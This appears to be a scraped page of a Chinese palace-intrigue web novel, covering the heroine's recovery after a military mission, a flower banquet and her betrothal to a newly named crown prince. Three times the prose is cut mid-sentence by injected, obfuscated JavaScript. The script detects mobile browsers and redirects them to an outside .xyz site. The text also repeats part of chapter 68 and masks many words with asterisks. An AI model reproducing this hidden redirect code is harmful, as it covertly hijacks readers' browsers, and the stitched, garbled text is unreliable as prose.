“大夫说,这两日你若是还不醒,就很危险了。” “你带回来的布防图,我认真研究过了。等过段时间准备好了,必然能叫北凉吃个闷亏。” “但是南朝如今的情况,还有我带来的这些兵力,至多也只能险胜,双方各退一步,相安无事罢了。” “我在虎符上下了秘毒,若是这药毒不死那颜律,此回怕是也不能替阿姊彻底报仇了,是我无用。” “那个女使,还有张校尉,我都处置了。至于惠帝那老东西,呵,我迟早送他归西。” “元彻回一天能寄十封信,都是问阿姊情况的,我都不知道怎么回他。他很担心阿姊,我也是。” “我送阿姊的那对白玛瑙耳坠,我洗干净了。” “再待下去,我都快要弱冠了。” “阿姊能听得见我说话吗?阿姊……什么时候才能醒过来呢?我……很想,真的很想阿姊……” 他一个人自言自语般,絮絮叨叨地说了很多很多。 “阿姊若是再不醒,我都不知道能不能撑得下去了。”他叹息。 “我不醒就撑不下去了吗?真是没用……咳咳……”终于有一道极其微弱的气音,回应了他这些天以来的自言自语。 裴令仪倏地抬眸望向元韫浓,不可置信的,颤抖的。 他慢慢红了眼眶。 元韫浓半睁着眼睛,不知道从何时苏醒。 尽管脸色苍白,语调虚弱,但却睁开了眼睛。 “阿姊……”裴令仪突然哽咽。 他低着头,双手握住元韫浓的手,轻轻抵在自己的额头上。 温凉的泪水从眼眶里掉下来,顺着元韫浓的指尖滑落。 “哭什么?”元韫浓缓慢地伸手擦掉他的眼泪,“我还没死呢。” “还好……”裴令仪轻轻蹭了蹭元韫浓的手,被泪水打湿的乌浓长睫扫过元韫浓的手指,“还好你醒了……多亏你醒了……” 对裴令仪的印象,就该是他的眼睛很少哭泣,或是不该哭泣。 平时在他的身边,就像是在湖水旁,明明没有流泪,但细细的水雾扯地连天。 好像他这个人本身就是潮湿的那样。 但是元韫浓却觉得裴令仪经常会红了眼眶,就像现在这样。 裴令仪但凡流露出脆弱,都会像是暴雨一样。 “行了,我都这样了,让我省点心吧。”元韫浓无奈地轻咳了两声。 裴令仪连忙抹掉眼泪,起身,“我去叫大夫来看看。” 元韫浓根本没来得及叫住他。 大夫来看过了,也是一脸惊喜,说这是好迹象,好好养着治着,定会好转。 这些天他也是压力如山大,生怕这万众瞩目的郡主真醒不过来了。 裴令仪听了,总算是展露了这些天来第一个笑颜。 等到大夫离开,裴令仪又开始忙前忙后,侍奉元韫浓喝药,替她换药,喂她米粥。 元韫浓颇为无奈,又想到正事,“你给那颜律的虎符上淬了毒是吗?” “嗯,裴氏秘毒,接触到虎符的人都会**,不是也够他喝一壶了。”裴令仪点头。 得到肯定答复后,元韫浓唇角微微扬起,“再加上公主往水井里投的**,足够北凉军营乱上三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476489|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月了。” 她提起公主,又沉默了片刻。 “这回若不是裴雍公主和一个小哑奴,我压根逃不出来。”元韫浓眼睫颤抖了一下,“她们都**。” 她甚至不知道她们的姓名。 裴令仪无声地握住了元韫浓的手。 元韫浓说:“公主我无以为报,只有你好好的,算是她的心愿。” 裴令仪点了点头。 “北州有割发代首回家的习俗,哑奴的一缕头发,我和虎符放在一块,你替我把她的头发埋在这片北州的土地。”元韫浓又说。 裴令仪应声,郑重地去取了那缕头发,出去埋入土地。 他感谢这两个女子,没有她们,他的阿姊不会回来。 元韫浓看着裴令仪的背影,轻声说道:“回家了。” 裴令仪回来后,元韫浓又问了一下事宜,裴令仪一一告知。 见元韫浓还打算问,裴令仪无奈道:“阿姊,时间还长着呢,可以慢慢问。你才刚醒,别过多劳神。” 元韫浓后知后觉地感到疼痛和眩晕。 “阿姊,剩下的事情交给我吧。”裴令仪的手指轻轻拂过元韫浓的眉眼,“我不会打输的。” “也好。”元韫浓疲惫地闭上眼睛。 “等到阿姊的伤好得差不多了,我便让人送阿姊回靖州,到时候慕湖舟那边应该也处理得差不多了。”裴令仪道。 虽然他很不高兴把元韫浓交给慕湖舟,但是不得不承认,跟着慕湖舟一块回去,元韫浓会更安全。 他不能再把元韫浓留在寒冷的北州,京华才有更好的药和更周全的照顾。 元韫浓弯了弯唇,“这就赶我走了?” “阿姊分明知道我不是这个意思。”裴令仪叹气。 “庄且怎么样?”元韫浓突然想起来。 裴令仪的眸色深冷下来,“还关在锦州,阿姊留他有用,我就没有杀。” “我阿兄该不会一直替你守着那里杀叛军吧?”元韫浓问。 裴令仪笑了笑,“元氏擅长**叛乱,世子应付群龙无首的叛军,游刃有余。” 毕竟京华元氏是百年大族,以替皇帝**以四野有所不轨的叛乱而出头,应对内战最有一手。 到了岐国公这里集数代军武储备,家教甚严,教出来的儿子元彻回自然也不会差到哪里去。 话是那么说,但是元韫浓怎么可能就这样放心。 “庄且……”元韫浓顿了顿,“本就是为了留着对付叛军的,既然用不上了,你看看还有什么用吧。” 本来还打算用来跟慕易遥放在一块,必要之时**的时候,用来名正言顺逼惠帝退位的。 毕竟在庄铭一事上的退让,还有在慕易遥一事上的睁只眼闭只眼,都可以化成戳脊梁骨的罪名。 不过现在看来,倒也不必了。 惠帝甚至都能做到出卖她这一步了,这些正规流程也可以省省了。 剩下的东西,到时候再说吧。 裴令仪沉思片刻,“那庄且就也没什么用了。” “那就杀了吧。”元韫浓平淡道。 原本她多留意庄且几分,不仅是看着庄铭份上,也是因为庄且确实有才能。 事实证明没错,庄且确实有本事,能掀了反旗当叛军。 但是那又如何呢? “我还以为阿姊会留他,再榨取些利用价值。”裴令仪笑。 元韫浓轻嗤一声:“背主之犬,留来何用?” “是啊,背主的狗,也没必要留着了。”裴令仪温和地附和了元韫浓的话。 他早就想宰了庄且,要不是怕元韫浓拿庄且还有用,庄且干的那些事都够死好几回了。 裴令仪替元韫浓掖了掖被角,“庄且那里我会去处理的,阿姊早些歇息吧,眼下更是要好好养精蓄锐啊。” “嗯。”元韫浓用鼻音回复了一声,阖上了眼。 元韫浓其实也是强撑着的,早就困得不行了,没多久就进入梦乡。 裴令仪静悄悄地凝视着她苍白的面颊许久,犹疑着伸出手,指腹轻轻摸过她的眼尾。 他终于长舒了一口气,感谢元韫浓能够醒来。 第67章 递花枝 在被元韫浓迷得五迷三道的孙鹃纨来禀报了元韫浓打算回别庄的事情之后,裴令仪一面不舍,一面开始着手准备。 等到万事俱备,裴令仪送元韫浓到了北州边境,再让孙鹃纨送元韫浓前往别庄。 “等我回京。”裴令仪这么说了以后,就带兵离开。 孙鹃纨尽职尽责地送元韫浓路过锦州,见了元彻回一面。 元彻回拉着元韫浓上看下看,心酸无比。 愣是留了元韫浓三天,元彻回才千叮咛万嘱咐地放元韫浓去别庄。 把元韫浓送到别庄之后,留下看守的卫兵,孙鹃纨就要赶回北州去复命。 霜降和小满一直都留在别庄等元韫浓回来,知道元韫浓还受了伤更是惊慌失色。 但好在元韫浓伤是养得差不多了,只是病还没好。 元韫浓从霜降那里知道了靖州目前的情况已经稳定得差不多了,只剩一些收尾工作。 估计过不了多久,慕湖舟就会接元韫浓回靖州。 等到事情彻底结束,就可以回京了。 元韫浓也彻底没等多久,在别庄待了几日,慕湖舟就来接人了。 “脸色怎么那么苍白?”慕湖舟一见元韫浓就发觉了不对。 元韫浓说谎不打草稿,“在别庄有些水土不服,一直病着,也没个办法。” 慕湖舟拧眉,牵着元韫浓上了马车,“待到了靖州,我去寻个大夫再好好看看。” “那也不必,先前来的大夫开了药,我吃着挺好的。”元韫浓婉拒了。 难道请个大夫来揭穿她受了伤吗? 慕湖舟劝了几句,拧不过元韫浓,只得作罢。 靖州州牧知道慕湖舟把元韫浓这么个诅咒又接回来了,只觉得天又塌了。 元韫浓果然一回来就开始作妖,作天作地,作福作威,整得靖州州牧苦不堪言。 如今收尾正是缺钱的时候,元韫浓就明里暗里都撺掇着他身为州牧,需要以身作则,让他领着靖州大大小小的官员出手捐款。 他不好拒绝,刚应下来,还没个声呢,元韫浓就擅自替他做主,直接搬空了他的钱库。 靖州州牧在元韫浓的压迫之下苦苦熬了半个月,慕湖舟和元韫浓可算是处理完了事情,要走了。 他恨不得放鞭炮欢庆元韫浓回京,现下好不容易这个瘟神要打道回府了,他都快压不住嘴角的笑意。 “州牧大人,承蒙这些时候的照顾,我们回京后你要多加保重。”元韫浓微笑着看向笑得见牙不见眼的州牧。 “好好好,保重保重,三皇子和郡主一路上也需多加保重啊。”州牧努力压下笑,试图挤一些眼泪出来。 “我们这一走,州牧不会思念我们吧?毕竟这偌大的州牧府也没个妻妾儿女的,我们走了,谁还会理睬州牧死活呢?”元韫浓故作惊讶,“我是不是说错话了?” “怎么会?我们走了,州牧这里怕是会冷清许多呢。”慕湖舟握着元韫浓的手,温声细语道。 他又安慰:“不过浓浓也不必太挂怀了,州牧虽是孤家寡人,孤苦伶仃的,但是平日里还是很忙的,不会有空关注这些。” 靖州州牧怀疑慕湖舟在暗讽他,但是一看慕湖舟这一副清风徐来的模样,又不禁怀疑自己是否多心了。 元韫浓恍然大悟般道:“原来如此啊。” 慕湖舟和元韫浓这两个人**看似熨帖,实则阴阳怪气。 “哈、哈哈,三皇子和郡主不必在意,快些上路吧,耽误了时辰可就不好了。”州牧僵硬地催促二人。 “无妨,州牧,你我很快就会重逢的。”元韫浓笑容温和。 元韫浓这客套话却让州牧莫名瘆得慌。 什么叫很快就会重逢的?怎么突然就有种不详的预感呢? 元韫浓自然没有解释其中的含义,她跟慕湖舟一块上了马车。 元蕴英在前头骑马,见状便领着队伍出发了。 元韫浓从车窗里探头,朝着靖州州牧挥了挥手。 虽然很快就会见面了,因为靖州州牧马上就会成为秋后问斩的那一批人中的一员。 “戏弄完人家了?”慕湖舟含笑看着元韫浓。 元韫浓坐了回去,“能不能叫你暗卫扮成北凉人或是山匪,再把他的州牧府**了?” 慕湖舟笑了笑,“浓浓,他马上就会出现在刑场上的,抄家是起码的,何必急于这一时?” “君子爱财,取之有道。”元韫浓理直气壮,“将死之人的不义之财,我怎么不能用?” “好吧,我派人去。”慕湖舟无奈道。 慕湖舟和元韫浓顺利地回到了京华。 岐国公和惠贞长公主心疼女儿 正如答应元韫浓的那样,慕湖舟觐见惠帝,向惠帝诉说了自己的意愿。 惠帝当下并没有给出回答,但是慕湖舟觉得,父皇或许已经动摇了。 给慕湖舟和慕载物办的赏花宴在即,慕湖舟年龄渐长却连一个姬妾都没有,皇后这些年已经是急上火了。 慕湖舟觉得,如此拖下去,不管他娶什么皇后都会答应的。 赏花宴前皇后已经做了完全的准备,尤其是在慕湖舟这里,更是苦口婆心地嘱咐了半天要选白翩飞。 慕湖舟想着先斩后奏,为了避免节外生枝,干脆没应声。 两位皇子的选妃赏花宴,还都是储君之选,京中贵女们自然是费尽心思。 但实际上大家心里都有点数。 皇子妃之位,皇后和张贵妃都有自己心里的人选,几乎是内定。 她们所求的,大多都是侧妃之位。 倘若其中一人来日登上皇位,那她们和背后的家族都是从龙之功,后妃的位置一样能周旋谋利。 前朝和后宫必然是瓜葛着的,家族之间,同气连枝。 元韫浓相当直观,是冲着当皇后去的。 而岐国公和惠贞长公主,也知道她的所谋所求。 一群京中贵女齐聚在繁花似锦边,笑语嫣然。 这场本该办在春日的赏花宴,由于慕湖舟和元韫浓一直远在靖州,所以延迟到了秋末。 因此摆放在这里的盆栽繁花都来之不易,大多都是菊花。 亭台楼阁的黄金顶在秋阳下粼粼生辉,像是悬在云端的明镜。 元韫浓袖口银线绣的折枝菊泛着幽冷的薄光,眼神悠远,世情不入。 郑女幼百般聊赖地趴在亭子里的美人靠上,“春天都过了,还能看到这争奇斗艳的场面。” “这不得多亏了我们的两个皇子吗?”元韫浓斜倚在美人靠上,掐掉手里墨荷菊花枯黄的部分。 “我看你是有意于三皇子的。”郑女幼挑着眉,“那你到底是怎么想的?” 元韫浓笑了笑,“反正不可能支持慕载物。” “那也是。”郑女幼点了点头。 她又反应过来,“那不就是只有三皇子了吗?” 松香混着金桂的甜香,元韫浓漫不经心地晃了晃手里的墨荷,“是啊。” 郑女幼抽走元韫浓手里的墨荷,“你就不能认真点告诉我吗?” “行啊,我告诉你,我的好女幼。”元韫浓戳了下郑女幼的眉心,“我要当皇后。” 这就合理了。郑女幼想道。 人群开始有些躁动,元韫浓看过去,青石台阶蜿蜒而上,慕湖舟拾级而下,玄色织金履踏碎一地斑驳日影。 他停在朱漆廊柱边,朝着元韫浓这里望过来,笑了笑。 元韫浓会以一笑。 慕载物随后而到,这场面就更热闹了。 不过多时,太后、惠帝和皇后也摆架而至。 原先分散的臣子和女眷们也朝着这里**。 看着也算是和乐融融,众人觥筹交错之间,都有自己心仪的人选。 这也不只是皇子的选妃,也是世家之间互相相看的过程。 两侧琉璃盏中盛着从精心供养的金丝菊,花瓣上还凝着露水。 不少目光也落在了元韫浓身上。 元氏嫡女,岐国公与长公主之女。京城的人都知道这样的身份有多少金贵,又意味着这背后有多少富贵。 他们见元韫浓坐在一边,亭亭玉立,艳静如笼月,多少有些意动。 指不定岐国公和长公主夫妇,没打算将女儿嫁入深宫呢? 元韫浓心不在焉地赏着花,偶尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476491|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟郑女幼聊上几句。 看到沈川和慕水妃投来的目光,也会会以笑容。 直到重头戏登场。 皇后适时地对惠帝说:“陛下,既然办的是赏花宴,今年不如攀附风雅一回,来些新花样吧。” 惠帝来了兴致,“哦?皇后有何想法?” 皇后提议道:“便予此园中所有未婚嫁的适龄儿女们一花枝,让他们交予自己心慕之人。” “哀家倒是觉得,皇后这巧思不错。即便是没有心仪之人的,也可赠予亲友长辈。”太后点了点头。 惠帝思索片刻,点头,“朕允了。” 皇后稍稍松了口气,暗地里给慕湖舟使了个眼色,示意他将花枝赠与白翩飞。 这样,就可以顺理成章地求惠帝赐婚了。 “一炷香后,便来瞧瞧结果吧。”太后说道。 在场的适龄男女,只要没有婚契,都得了一花枝。 众人便来来往往开始走动,纷纷将花枝赠予心仪之人。 自然也不乏借花献佛的,把花枝给了长辈或亲友,亦或者是渴望结交之人。 还有些胆大的姑娘,手持花枝朝着慕湖舟和慕载物走去。 元韫浓面前堆了不少花枝,有男有女。 慕湖舟目标明确,径直掠过了白翩飞,略过了要递来花枝的贵女,朝着元韫浓走去。 皇后在那时候表情已经很不好看了。 她昨日千叮咛万嘱咐,让慕湖舟把花枝递给白翩飞,再次苦口婆心地向慕湖舟阐述白家的势力与支持对夺储之路而言有多么多么重要。 她甚至到最后都让步,说只要正妃是白翩飞,就算慕湖舟想要元韫浓做侧妃,婚后怎么偏宠元韫浓都无所谓。 但是偏偏到了今日,慕湖舟照旧不听她的。 慕湖舟朝着自己走过来,元韫浓是心里有数的,但是她眼尖地瞥见慕载物在那里动作一顿,脚步转了方向,就有了不祥的预感。 尤其是慕载物在换方向之前,还跟吕世勋对视了一眼。 郑女幼在看到慕湖舟朝元韫浓走来的时候,就啧啧称叹了。 在看见慕载物也朝这里走来以后,脸上看戏的笑就僵住了。 而在看见沈川和慕水妃注意到慕载物的动向后,也朝这里走来时,就笑不出来了。 天哪,怎么每回都让她碰上这些事啊?元韫浓今天可是遭殃了。郑女幼悄悄拉了一把元韫浓的袖子。 元韫浓站在原地,表情莫测。 慕载物甚至在中途加快了脚步,以至于他和慕湖舟的花枝近乎同时递到了元韫浓面前。 吕世勋稍慢一步,而后慕水妃和沈川的花枝,也如同解围一般递到了元韫浓眼前。 在场众人倒吸一口凉气。 这都是些什么事儿啊? 元韫浓盯着眼前的花团锦簇,脑中飞速思考着,该怎么样做出最有利的选择。 慕水妃和沈川的花枝是递来解围的,接了慕水妃的花,她还可以说是没有心仪之人,选了友人。 接了沈川,她也可以避开慕湖舟和慕载物的争端,还有惠帝的猜忌,太后和皇后的发难。 就顺势走上跟前世一样的路,遵从岐国公的期望,完成她重生时刚开始的希望。 只是不行,她如果不在慕湖舟和慕载物当中选,太后、惠帝和皇后就会说她目无尊卑,犯上作乱。 但她若是从慕湖舟和慕载物里面选了任何一个,那太后、惠帝和皇后就更有的说了。 哪里轮得到她来选? 这该死的慕载物和吕世勋,这两人必然是商量好了的,要来给她添堵添乱。 慕载物必然不想看见元氏彻底倒向慕湖舟,就来这一出。 跟他那狐朋**一起来报复她,找她麻烦是不是? 皇后早就怒气冲冲地拍案而起,“荒唐!简直是放肆!” “皇后。”太后不冷不裴令仪**提醒。 但是她阴沉沉的目光,却看向了元韫浓。 惠帝反而是被眼前的这一幕提起了兴趣,问:“既然朝荣那么受欢迎,这其中还有三个是朕的儿女。那你们几个便来说说,为何会将花枝递给朝荣?” 第68章 太子妃 郑女幼看着眼前的场面,在心里哈哈了两声。 都乱成一锅粥了,就干脆趁乱喝了吧。 反正元韫浓不管怎么选,都不会让所有人满意的。 要是换了她来,她今夜就绞了头发,出家当尼姑去,让所有人都不满意。 那还挺可惜。 毕竟元韫浓要当皇后,做不了尼姑。 郑女幼麻木地心想。 但她又看了一眼脸色铁青的皇后和白翩飞,心情愉悦起来。 慕湖舟和慕载物对视一眼,慕湖舟面色如常,不为所动。 而慕载物挑眉,似是挑衅。 慕水妃率先回答:“儿臣是与韫浓妹妹情同亲姐妹,既为亲友,又无心仪之人,便递了花枝给妹妹。” “嗯。”惠帝点了点头,看向沈川,“大理寺寺丞呢?” 虽然沈川向来被惠帝所不待见,但是的的确确是出生于世家大族,再加之其能力出众,办成过好几个案子,还是被重用的。 沈川从大理寺寺正成了大理寺寺丞,从六品升了五品。 这个年纪的五品官,是实打实的年少有为,一群老奸巨猾的上级们眼中的前途无量。 沈川本就是和慕水妃一样,是为了替元韫浓解围才递出的花枝。 但他跟慕水妃不一样,慕水妃是出于亲友之名,他给的退路更加周全。 沈川本身如今并没有婚娶的想法,他跟慕水妃想的一样,只是因为元韫浓需要。 “臣同郡主自幼相识,两家世交,故而心悦已久。”沈川说道。 惠帝又看向了吕世勋,“那你呢?” 吕世勋与慕载物对视一眼,单膝跪下,“禀陛下,陛下可曾记得当年臣一时失手将郡主推倒,害郡主受伤之事?” 确有此事。惠帝半眯着眼睛看他。 他道:“当年臣与父亲便提出想求娶郡主,未补偿郡主掌心留下的一道疤痕。虽郡主与国公拒绝求娶之事,但臣而今仍旧不改其志。” “倒也是有那么一回事。”惠帝又点头,问,“你呢?载物?” 慕载物抱拳道:“父皇,儿臣只是觉得,诸多贵女之中,韫浓表妹生得好看而已。” 他知道怎么样说话能讨得惠帝开心。 反正他只是来添乱的,当然能成功就更好啊。 不但能得到元氏的助力,还可以好好报复**元韫浓。 哦,要是能借此挑衅裴令仪,那就更好了。 “看来五弟,不过是一时兴起罢了。既然只是喜爱好颜色,何必掺和这一点热闹呢?”慕湖舟道。 惠帝问:“既然如此,你的意思是,你是真心实意的。” “父皇,儿臣求娶朝荣郡主,自然是真心实意。”慕湖舟说,“儿臣有此念头,为时已久。” 惠帝则是看向了元韫浓,“朝荣,你呢?你又是如何看的?这几人里,你想选谁?” 这个致命的问题终于来了。 元韫浓深吸一口气,道:“朝荣听凭陛下指婚。” 把决定的权力交给惠帝,惠帝才能勉强放下戒心。 “听从朕的指婚?终身大事,你就那么听朕的话吗?按理来说,这婚姻大事,理应是媒妁之言,父母之命才是。”惠帝问。 “陛下既是九五之尊,又是朝荣的阿舅,于尊于亲,朝荣都该听陛下的。”元韫浓却道。 她垂着眼睛,做出温柔顺和的模样,等待惠帝的旨意。 心中却是厌烦到了极点。 真该死,要不是时机尚未成熟,她都想直接**了。 这犹如戏剧般的一幕惹得在场众人窃窃私语,议论纷纷。 “这是什么鬼热闹?居然都把花给朝荣郡主了。” “其他人也就罢了,两位皇子一位公主,还有大理寺寺丞和吕家的郎君,这才是真的有意思了。” “淑慎公主凑什么热闹?人家择偶呢,她倒是也把花枝递给元韫浓了。” “人家也是表姐妹,这还看不出来?不是替朝荣郡主解个围吗?” “听闻先前国公府是有意同沈氏联姻的,只是后头郡主好像不乐意呢,就不了了之了。” “元应怜不是一直在同慕水妃和沈子谦一块玩的吗?联姻怎么就不乐意了?” “这我哪里知道?” “问题怕不就是出在这里嘛,你瞧瞧那两个皇子现在在干什么?她不就是在等这个机会,成将来的太子妃吗?” “这也是有点道理啊,那吕郎君又是凑什么热闹?” “郡主跟五皇子关系不好,跟吕世勋之前也是将近撕破了脸。但五皇子和吕世勋是好友啊,况且吕世勋之前跟郡主、清河王的事情闹得那么大,郡主都告御状去了,他不得趁此出口气?” “出口气还求娶郡主呢?” “就说你笨呢,等嫁过去了,还不是任人磋磨摆布?那才是真叫天天不灵,叫地地不应了。” 底下是讨论得热火朝天,上边的气氛却是一片冷肃。 惠帝并没有立即做出决定,而是问太后和皇后,“母后和皇后觉得如何?” “陛下,湖舟和朝荣是表兄妹,又一块长大的,怕是将情爱和亲情混淆了。”皇后勉强挤出一个笑。 太后却顿了顿,“哀家老了,儿孙自有儿孙福,年轻人自有年轻人自己的主意。” 接收到皇后不可置信的眼神,太后却视若无睹。 她对惠帝道:“哀家到底只是祖母了,皇帝和皇后是湖舟的父母,岐国公和惠贞是朝荣的爹娘,这事自然得由父母亲来做主。” 这意思就是她不管了。 看惠帝的样子,太后隐隐约约就有了预感。 而更要紧的是,白家原就是三皇子党,而岐国公和惠贞长公主虽然与她跟皇后不和,却没有撕破脸。 况且当年杀母夺子的事情,如今也尚没有暴露。 若是能借助联姻而获取摇摆不定的元氏的助力,那倒也不错。 至于元韫浓? 一个体弱多病的郡主而已,等到榨取了她和她家族的利用价值,再假称暴病而亡就行了。 听了太后的话,惠帝便问岐国公和惠贞长公主,“母后所言甚是,既如此,国公和皇姐怎么看?” 岐国公看了元韫浓一眼,叹了口气,“臣听从陛下吩咐。” “我倒觉得,应怜同三郎甚是合适。”惠贞长公主道。 “皇姐此话怎讲?”惠帝问道。 惠贞长公主指了指慕湖舟,又指了指元韫浓,“湖舟排行第三,应怜在家中又排第四,顺下来多巧。陛下先前不还同我开过玩笑,说慕小三和元小四,听着不三不四的。” “这倒是确有此事。”惠帝含笑点了点头。 “不过还是要听陛下旨意的,看看陛下觉得,朝荣同谁更配了。”惠贞长公主说道。 元韫浓等待惠帝下旨。 片刻之后,惠帝做出了决定,“好。” “拟旨。”他道,“为三皇子慕湖舟,朝荣郡主元韫浓赐婚,着钦天监择一良辰吉日完婚。” 那就是订婚了。 还没等众人惊讶,惠帝就下了第二道旨意:“朕念江山社稷之传承,国祚绵延之重责。今诸皇子中,皇三子慕湖舟秉性仁孝温厚,天资聪慧,昭然可鉴。” 皇后意识到了什么,激动地看向惠帝。 惠帝继续道:“朕观其德才兼备,堪当大任,实乃储君之选。即日起,册立慕湖舟为太子,入主东宫。望其日后,愈加勤勉,修身治国,以仁为本,以贤为范,不负朕之厚望,不负天下臣民之托。” 这道立储诏,使得在座众人瞠目结舌。 一时间众人神采各异,一个比一个精彩。 就连慕湖舟本人也流露出诧异之色,他身边的慕载物脸色更是难看到不行。 谁不希望自己是名正言顺的正统? 但到了这份上,想不谋逆也不可能了,三皇子党和五皇子党早已经是敌对到了无法回头的地步。 慕湖舟长舒一口气,跪地接旨,“儿臣谢父皇。” 又是赐婚又是立储的,这下可好,慕湖舟一时间风头无人能比。 就连皇后也被这天大的大好消息冲昏了头脑,就连看元韫浓都顺眼了不少。 元韫浓也稍稍松了口气。 慕湖舟如今是太子,惠帝也给她和慕湖舟赐了婚,算是定了亲。 待到钦天监择取良辰吉日,她和慕湖舟完婚,她就是太子妃了。 太子妃,下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476492|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步就是皇后。 她必然可以得偿所愿。 这场赏花宴是几家欢喜几家愁,一切突然又突兀,每个人回了家都需要好好消化消化今日的所见所闻。 郑女幼都有些恍惚,她就这么看着元韫浓在她身边被定亲了? 和慕湖舟含笑道别之后,元韫浓坐上了回家的马车。 “这下得偿所愿了?”惠贞长公主无奈道。 “阿娘。”元韫浓抱着惠贞长公主的手臂撒娇。 元蕴英看不下去她那腻乎劲儿,啧了一声:“行了,这么大的人了还要抱着娘亲撒娇,你也真是的。” 她说完,又道:“皇室可比不得家中,再加上太后和皇后在那,你过得可不会比得上家里舒心。” “要我说,你又何必嫁人呢?在家中不好吗?父母兄姐自会照顾你一辈子的。”她有些变扭地别过脸。 “我就知道,二姐是关心我。”元韫浓笑。 “别胡说。”元蕴英矢口否认。 岐国公叹息:“你二姐说得不无道理,但既然这是你想要的,爹娘都不会阻拦你。” 元韫浓说:“父亲,我懂该做什么的,不会让族中为难。” “为父不是这个意思,你只管去做吧,还有元氏给你兜底呢。”岐国公摸了摸元韫浓的脑袋。 他突然想起来了什么似的,道:“为父昨夜里,收到了你兄长的书信,他和五郎得了胜,隔日启程回京,马上就要回来了。” 元韫浓愣了愣,不知怎的又有些心虚。 等裴令仪回来,知道她已经跟慕湖舟定了亲,怕是得发疯吧? “此次平定叛乱,二郎和五郎都有功。”惠贞长公主显然是昨夜里也看了那封信,知道这件事情,和岐国公通过气了,“尤其是五郎,不仅平定叛乱,**边境,还将叛军收编入队。” 元韫浓又是一怔。 还把叛军收编了?看来裴令仪很好地用了庄且最后的价值。 这么一说的话,裴令仪两度大获全胜,这功绩惠帝怕是再封也没有什么可封的了。 而且更要紧的,是裴令仪本就因为这两回有了一定基础的兵权,这次回来还带了那么多收编的叛军。 功高盖主,裴令仪怕是从惠帝的眼中钉,肉中刺,要更进一步了。 果然岐国公也有这样的担忧,“如此一来,我元氏怕是又要成了炙手可热的众矢之的。” 他的担心不无道理,本就是高门显贵,宗亲世家。 如今女儿马上要成来日的太子妃,儿子和义子又立了大功。 尤其是义子,等到明日这份功绩送到御案上,惠帝无论如何都会给裴令仪封一个骠骑大将军。 再之后,便是封无可封了。 才及冠,便封无可封。这之后的风险,怕是数不尽了。 “好了。”惠贞长公主宽慰道,“孩子们争气,你又何必愁苦呢?别人家是为子孙愚兮礼义疏而愁白了头发,你是孩子们个个都好也要愁,真要叫别人恼羞变怒了。” 岐国公听了此言,不禁露了笑,“公主真是,净会玩笑。” 元韫浓说:“大姐姐在白云观修行已久,不如传信,请她下山在家中小住一段时间。也好待到阿兄和清都回来,我们一家团圆几时。” 元云和自打云水**回京之后,就几乎是一直在白云观里同云水**修行。 讲真的,元韫浓有时候都会怀疑,元云和是在和云水**一起在白云观里给惠帝下咒。 毕竟元云和每回给她来信,都要非常刻意地问候一句“陛下身体康健否”。 元韫浓一般都当看不见,因为她只要一回元云和“陛下身子康健”,下一回元云和的来信就是“如有国丧,天下皆知”。 元韫浓都怕她们这些大逆不道的信被谁截去看了,送到惠帝面前。 岐国公闻言,点头,“为父回去便修书一封寄去白云观,叫你大姐归家。” “等到二郎和五郎回来,我们一家便是能团聚多时了。”惠贞长公主也笑。 元韫浓看着母亲,看来母亲虽然还放不下惠帝,但也多少解开了心结。 因为此刻的惠贞长公主,认为岐国公府是她的家。 第68章 太子妃 郑女幼看着眼前的场面,在心里哈哈了两声。 都乱成一锅粥了,就干脆趁乱喝了吧。 反正元韫浓不管怎么选,都不会让所有人满意的。 要是换了她来,她今夜就绞了头发,出家当尼姑去,让所有人都不满意。 那还挺可惜。 毕竟元韫浓要当皇后,做不了尼姑。 郑女幼麻木地心想。 但她又看了一眼脸色铁青的皇后和白翩飞,心情愉悦起来。 慕湖舟和慕载物对视一眼,慕湖舟面色如常,不为所动。 而慕载物挑眉,似是挑衅。 慕水妃率先回答:“儿臣是与韫浓妹妹情同亲姐妹,既为亲友,又无心仪之人,便递了花枝给妹妹。” “嗯。”惠帝点了点头,看向沈川,“大理寺寺丞呢?” 虽然沈川向来被惠帝所不待见,但是的的确确是出生于世家大族,再加之其能力出众,办成过好几个案子,还是被重用的。 沈川从大理寺寺正成了大理寺寺丞,从六品升了五品。 这个年纪的五品官,是实打实的年少有为,一群老奸巨猾的上级们眼中的前途无量。 沈川本就是和慕水妃一样,是为了替元韫浓解围才递出的花枝。 但他跟慕水妃不一样,慕水妃是出于亲友之名,他给的退路更加周全。 沈川本身如今并没有婚娶的想法,他跟慕水妃想的一样,只是因为元韫浓需要。 “臣同郡主自幼相识,两家世交,故而心悦已久。”沈川说道。 惠帝又看向了吕世勋,“那你呢?” 